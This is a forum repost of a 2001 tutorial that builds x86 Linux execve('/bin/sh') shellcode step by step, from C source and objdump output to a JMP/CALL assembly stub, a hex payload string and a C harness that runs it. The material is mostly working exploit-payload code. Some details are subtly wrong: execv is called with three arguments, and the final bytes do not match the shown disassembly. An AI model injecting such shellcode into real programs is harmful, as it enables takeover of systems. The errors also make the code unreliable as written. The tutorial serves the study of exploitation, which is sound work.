- 论坛徽章:
- 0
|
Introduction:
Shellcode is usually used to exploit programs or deamons to get root shell.
Here I will focus how to write correct generic shell code, possible next paper will
focus on advanced shell codes for certain deamons and bugz in sources.
Begining:
At first write a simple shell execution on hight-level languagde using execve:
--[::shell.c]--
#include <stdio.h>;
void shell()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execv (name[0], name, NULL);
--:::::::::::::--
Next step to get hexademical translation of this shell, we should compile it
(using -static flag, to include execve syscall) and disassemble:
-----------------
$ gcc -o shell -static shell.c
$ objdump -d shell|less
<main>;:
01: 55 pushl %ebp
02: 89 e5 movl %esp,%ebp
03: 83 ec 08 subl $0x8,%esp
04: c7 45 f8 08 f3 06 08 movl $0x806f308,0xfffffff8(%ebp)
05: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp)
06: 6a 00 pushl $0x0
07: 8d 45 f8 leal 0xfffffff8(%ebp),%eax
08: 50 pushl %eax
09: 8b 45 f8 movl 0xfffffff8(%ebp),%eax
10: 50 pushl %eax
11: e8 e5 37 00 00 call __OFFSET_OF_EXECVE__ <__execve>;
12: 83 c4 0c addl $0xc,%esp
13: c9 leave
14: c3 ret
<__execve>;:
15: 53 pushl %ebx
16: 8b 54 24 10 movl 0x10(%esp,1),%edx
17: 8b 4c 24 0c movl 0xc(%esp,1),%ecx
18: 8b 5c 24 08 movl 0x8(%esp,1),%ebx
19: b8 0b 00 00 00 movl $0xb,%eax
20: cd 80 int $0x80
21: 5b popl %ebx
22: 3d 01 f0 ff ff cmpl $0xfffff001,%eax
23: 0f 83 e0 02 00 00 jae 804bca0 <__syscall_error>;
24: c3 ret
-----------------
Looking on assembler code and obsorve needed part:
Strings 01 - 03, it is called prelog procedure.
01: 55 pushl %ebp
02: 89 e5 movl %esp,%ebp
03: 83 ec 08 subl $0x8,%esp
It is first saves old stack base pointer, makes the current stack pointer the new frame pointer,
and leaves space for the local variables. We had iniciate is with:
char *name[2];
Two pointers to char. Pointers are a word long, so it leaves space for two words (8 bytes).
Next string:
04: c7 45 f8 08 f3 06 08 movl $0x806f308,0xfffffff8(%ebp)
Put address of string "/bin/sh" (or pointer to string) into the reserved place in the stack. It is
equivalent to c code:
name[0] = "/bin/sh";
Next string:
05: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp)
Put value "NULL" (00 00 00 00) into the reserved place in the stack.
name[1] = NULL;
And preparing to call <_execve>; by next steps.
06: 6a 00 pushl $0x0
Push NULL to stack.
07: 8d 45 f8 leal 0xfffffff8(%ebp),%eax
Load the address of name[] into the %eax register.
08: 50 pushl %eax
Push the address of name[] into stack.
09: 8b 45 f8 movl 0xfffffff8(%ebp),%eax
Placing the address of name[0]("/bin/sh" into the %eax.
10: 50 pushl %eax
Push address into the stack.
11: e8 e5 37 00 00 call __OFFSET_OF_EXECVE__ <__execve>;
Call <__execve>;, call instruction pushes the IP into the stack.
Next step is <__execve>; syscall:
15: 53 pushl %ebx
Push into stack current %ebx.
16: 8b 54 24 10 movl 0x10(%esp,1),%edx
Move into %edx address of name[].
17: 8b 4c 24 0c movl 0xc(%esp,1),%ecx
Move into %ecx address of name[1].
18: 8b 5c 24 08 movl 0x8(%esp,1),%ebx
Move into %edx address of name[0].
19: b8 0b 00 00 00 movl $0xb,%eax
Move execve index in the syscall table to %eax.
20: cd 80 int $0x80
Change into programing kernel mode.
Here we got the SHELL.
So that all we need to write correct generic shell code.
Analyzing ASM code we can see, that we need next part to write correct shell execution.
* Know the address of the string "/bin/sh"
* The address of the address of the string.
* String "/bin/sh", terminated by NULL.
* Long null in the memory.
* Move 0xb (execve) into %eax register.
* Move the address (in the memory) of the string "/bin/sh" into %ebx register.
* Move the address of the address of the string "/bin/sh" into %ecx register.
* Move the address of the null long (00 00 00 00) into %edx register.
* Execute the int $0x80 instruction.
But in reallity, we don't know where in the memory space of the program we are trying to
exploit the code will be placed. So we need complex and relative addressing shell code.
The only way we can use JMP and CALL instructions. It is means that we can jump from current
IP whitout needing to know address we want to execute. If we place the CALL instruction before
string "/bin/sh" and JMP instruction to it, the address will be pushed onto the stack as the
return address when CALL is executed.
--[::shell.s]--
jmp __to_call_instruction__ // to get address of .string "/bin/sh"
popl %esi // got the address of .string "/bin/sh"
movl string_address, string_address_address //to place address string in the memory
movb 0x0, 7+string_address //terminate string by 00
movl 0x0, c+string_address //put long null after string address
movl 0xb, %eax //put execve syscall to %eax
movl string_address, %ebx //mov string address to %ebx
leal string_adress_adress, %ecx //load and put string address to %ecx
leal null_long, %edx //load and put null long address to %edx
int $0x80 //exevute the int $0x80 instruction
call __popl__ //call popl place
.string "/bin/sh" // string goes here
-----------------
Insert it into c sourse and put instead __to_call_instruction__ and __popl__ some testing variables.
--[::code.s]---
void main()
{
__asm__ ("
jmp 0x22
popl %esi
movl %esi, 0x8(%esi)
movb $0x0, 0x7(%esi)
movl $0x0, 0xc(%esi)
movl $0xb, %eax
movl %esi, %ebx
leal 0x8(%esi), %ecx
leal 0xc(%esi), %edx
int $0x80
call -0x22
.string \"/bin/sh\"
" ;
}
-----------------
jmp 0x22 and call -0x22 are testing, we should get exactly address by running objdump:
-----------------
$ gcc -o code code.s
$ objdum -d code|less
<main>;:
8048398: 55 pushl %ebp
8048399: 89 e5 movl %esp,%ebp
804839b: eb 1e jmp 80483bb <main+0x23>;
804839d: 5e popl %esi
804839e: 89 76 08 movl %esi,0x8(%esi)
80483a1: c6 46 07 00 movb $0x0,0x7(%esi)
80483a5: c7 46 0c 00 00 00 00 movl $0x0,0xc(%esi)
80483ac: b8 0b 00 00 00 movl $0xb,%eax
80483b1: 89 f3 movl %esi,%ebx
80483b3: 8d 4e 08 leal 0x8(%esi),%ecx
80483b6: 8d 56 0c leal 0xc(%esi),%edx
80483b9: cd 80 int $0x80
80483bb: e8 dd ff ff ff call 804839d <main+0x5>;
80483c0: 2f das
80483c1: 62 69 6e boundl 0x6e(%ecx),%ebp
80483c4: 2f das
80483c5: 73 68 jae 804842f <_IO_stdin_used+0x13>;
80483c7: 00 c9 addb %cl,%cl
80483c9: c3 ret
80483ca: 90 nop
-----------------
Callculating jmp (0x1e) and call (-0x23) we got shell code:
-----------------
"\xeb\x1e\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
"\x00\xc9\x63\x90\x56";
-----------------
And next we can test it:
-----------------
char shellcode[] =
"\xeb\x1e\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
"\x00\xc9\x63\x90\x56";
int main() {
void (*s)()= (void *)shellcode;
s();
}
-----------------
Comiling and running:
-----------------
$ gcc -o shellcode shellcode.c
$ ./shellcode
bash$
-----------------
So we have got our own shell code for Linux platform.
Next paper will describe how we can modify it for FreeBSD and OpenBSD platforms.
All rights reserved by Ni0S (c) 2001.
[datarise.org]
EOF |
|